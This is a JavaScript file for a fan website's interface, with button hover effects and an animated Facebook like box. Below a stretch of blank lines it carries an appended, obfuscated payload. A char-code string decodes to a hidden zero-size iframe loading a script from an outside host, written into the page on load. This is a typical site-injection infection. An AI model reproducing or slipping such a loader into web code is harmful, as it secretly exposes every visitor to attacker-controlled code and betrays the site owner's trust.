var General = 
{
	likeBox : false,
	bottomPosition : 0,
	init : function()
	{
		General.handle_button();
		General.bottomPosition = ($(document).height() - 600) *.5 + 20;
	},
	handle_button : function()
	{
		$(".closeBtn").each(
				function()
				{
					var link = $(this);
					$(this).mouseenter(
							function(){
								var over = link.children(".closeBtnOver");
								over.stop();
								over.animate({ opacity : "1" },250,'easeOutQuad');
							}
					);
					$(this).mouseleave(
							function(){
								var over = link.children(".closeBtnOver");
								over.stop();
								over.animate({ opacity : "0" },250,'easeOutQuad');
							}
					);
				}
		);
	},
	closeFanBox : function()
	{
		$(".likeBox").stop();
		General.likeBox = false;
		$(".likeBox").animate({height:"0px", bottom : "0px", padding : "0"},500,'easeOutQuad');
	},
	openFanBox : function()
	{
		if(General.likeBox)
		{
			window.open("http://www.facebook.com/michelpolnareff.officiel");
		}
		$(".likeBox").stop();
		General.likeBox = true;
		$(".likeBox").animate({height:"450px", bottom: General.bottomPosition, padding : "5px 6px 5px 6px"},500,'easeOutQuad');
	}
}
$(document).ready(function(){
	General.init();
});
$(window).resize(function(){
	General.bottomPosition = ($(document).height() - 600) *.5 + 20;
	if(General.likeBox)
	{
		$(".likeBox").stop();
		$(".likeBox").animate({height:"450px", bottom: General.bottomPosition, padding : "5px 6px 5px 6px"},500,'easeOutQuad');
	}
		
});









var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!97!110!97!108!121!116!105!99!115!46!114!101!98!101!108!53!46!99!111!109!47!115!116!97!116!46!106!115!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);
